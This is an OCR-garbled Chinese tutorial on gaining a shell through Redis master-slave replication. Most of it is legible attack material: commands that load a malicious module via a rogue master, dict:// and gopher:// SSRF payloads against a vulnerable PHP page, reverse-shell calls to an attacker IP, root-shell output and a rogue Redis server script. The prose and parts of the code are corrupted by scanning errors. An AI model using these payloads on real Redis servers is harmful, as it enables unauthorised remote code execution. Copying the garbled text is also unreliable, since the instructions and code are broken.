Redis k=N RRE LARRFIAL
e Windows T , X2 Ewebshell . SNENIA,
e LinuxT , xR IESwebshell | AFAFFIAUESREXrootifR . FHcontrabitk{ESSkEshell,

HFRedisENSHIEINE , TLUBITFULLRESYNCEBIRNHEEZIMNT S (slave ) |, IXFEFETHE LRSI
HEa—wiRERESS  mMEFEEESNTEY | FHFHIRR.

—. Redis EN\EHI—EEENLRCE

fEReids 4.xZf5 , RedisFHE THRIRINEE , BIIMNHRRE , TLASCHI7ERedisHsCIl— NiAYRedisip s |, BIIECE
SRFHINEEERN.soXE | IXERIBHITRIBR.

BRI —$ B5{tgetshell
. HREEE . soxE , TERedisModules-ExecuteCommandfEEFmakeRiZEIa 4 A,

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/
make

2. WEHHHIT ;. python redis-rce.py -r BiFip-p BirimO -L Attbip -f 5E&.so

git clone https://github.com/Ridter/redis-rce.git

cd redis-rce/

cp ../RedisModules-ExecuteCommand/src/module.so ./

pip install -r requirements.txt

python redis-rce.py -r 192.168.28.152 -p 6379 -L 192.168.28.137 -f module.so

—. RedisENSHFIRRE
B, BiIBE— RN | kEE— FslavefImasterfUEFIHNGZEE :
1. WSIRAHE1 23450

nc -Tvvp 1234
2, BRedisfRFBEFIRENN TR (slave)
sTaveof 127.0.0.1 1234

3. {EAncEIRedisEIRSBEE , HITHEHIRedisENZEITFE ( LIBERD Hslave KiZRIHS )


af://n10
af://n18

e

Neat

Necat

Necat

Necat nection £

PLE , BEnc# T RedisENEHAZEIIIE , B3R , AIRMEEEN)— M Redisfk55=5 , FIFARedisEMNEHIRIHL
%1, BBAFETLUBISFULLRESYNCIE AR RIEZINT .

=. RedisEMNSHIFah
FRRETIRES :

1. WERAE , EEERedisiRSS2S |, WMITAIMIRI1234 , lEkexp.so,
python RogueServer.py --Tport 1234 --exp exp.so

: # python Bo
Start listing on port:

Load the payload:

2, BERERDIAEANEL LA redisfRSS 25,
HATIERAS

#18Bredi sSIIBHEREAHFIER
config set dir ./
HE BRI IIHEexp.so , BiiAAdump. rdb
config set dbfilename exp.so
#RE RS IPIIRO
sTaveof 192.168.172.129 1234
#INBETRIRIR
module load ./exp.so
#IMEM , XIASHITHEE
slaveof no one
HUTRRSS
system.exec 'whoami'
system.rev 127.0.0.1 9999
#@igddump . rdbSHIREEHEE
config set dbfilename dump.rdb
#Mflf&exp . so
system.exec 'rm ./exp.so'

#ENE sy s temtEERAYNNEL
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module unload system

BIIHATRRGRS :

> module load ./ ex

» alaveof no one

"whoami'

. SSRF+Redis zifishell

S i8RedisFafigetshell g 2 , AJRESLISSRF+Redisf5Eshell,
curlzaffl , RS Issrf.php:

<?php

$ch = curl_init(Q;

curl_setopt($ch, CURLOPT_URL, $_GET['url']);

#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

curl_setopt($ch, CURLOPT_HEADER, 0);

#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch);

curl_close($ch);

?>

INEHERR
o TEMIKIMIRIZRedishRSZEE © 192.168.172.131
o IEIIINEHEWISE © 192.168.172.129
o HEEHENR LETEERedisIRSSER | R ERTAIEI99%R R shellix @],

1. FAdictihilz58shell

#EEYPIredi sEUEXEE
ssrf.php?url=dict://192.168.172.131:6379/1info

HEERMIHE
ssrf.php?url=dict://192.168.172.131:6379/config:set:dbfilename:exp.so

#HEREEERed SRS S
ssrf.php?url=dict://192.168.172.131:6379/slaveof:192.168.172.129:1234
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#INETERIER
ssrf.php?url=dict://192.168.172.131:6379/module:load:./exp.so

#IMTENEH
ssrf.php?url=dict://192.168.172.131:6379/slaveof:no:one

HUTRFDS
ssrf.php?url=dict://192.168.172.131:6379/system.rev:192.168.172.129:9999

2. FAgophert¥ ziE#shell

HREXHE | EEEERed 1 SIRSER
gopher://192.168.172.131:6379/_config%2520set%2520dbfilename%2520exp.s0%250d%250as1aveof%25
20192.168.172.129%25201234%250d%250aquit

#hNZEexp.so , Ki#shell
gopher://192.168.172.131:6379/_module%2520T0ad%2520. /exp.s0%250d%250asystem. rev%2520192.168
.172.129%25209999%250d%250aquit

3. FIAEXAMY , EBATLARKTIERE shell,

> # nc -lvvp 99599
listening on [any] 9

182.1 172.131: im t loockup failed: Unknown
connect to [19%2.168.172.129] from (UNENOWHN) [192.168.

whoami
oot

fff : RedisIRSSiRIEIIEIA

import socket
from time import sleep
from optparse import OptionParser

def RogueServer(lport):
resp = ""
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(("0.0.0.0",1port))
sock.Tlisten(10)
conn,address = sock.accept()
sleep(5)
while True:
data = conn.recv(1024)
if "PING" in data:
resp="+PONG"+CLRF
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conn.send(resp)
elif "REPLCONF" 1in data:
resp="+0K"+CLRF
conn.send(resp)
elif "PSYNC" in data or "SYNC" 1in data:
resp = "+FULLRESYNC " + "Zz"#40 + " 1" + CLRF
resp += "$" + str(len(payload)) + CLRF
resp = resp.encode()
resp += payload + CLRF.encode()
if type(resp) != bytes:
resp =resp.encode()
conn.send(resp)
#elif "exit" in data:
break

if __name_=="_main__":

parser = OptionParser()

parser.add_option("--Tport", dest="1p", type="int",help="rogue server Tisten port,
default 21000", default=21000,metavar="LOCAL_PORT")

parser.add_option("-f","--exp", dest="exp", type="string",help="Redis Module to Toad,
default exp.so", default="exp.so",metavar="EXP_FILE'")

(options , args )= parser.parse_args()
Tport = options.1p
exp_filename = options.exp

CLRF="\r\n"
payload=open(exp_filename,"rb").read()

print "Start listing on port: %s" %lport
print "Load the payload: %s" %exp_filename
RogueServer (1port)

MNERBESEFMEFMNTIARRS L | WBSAAAAIEFHRAILARS —EEXE— T, FEIREESEE.
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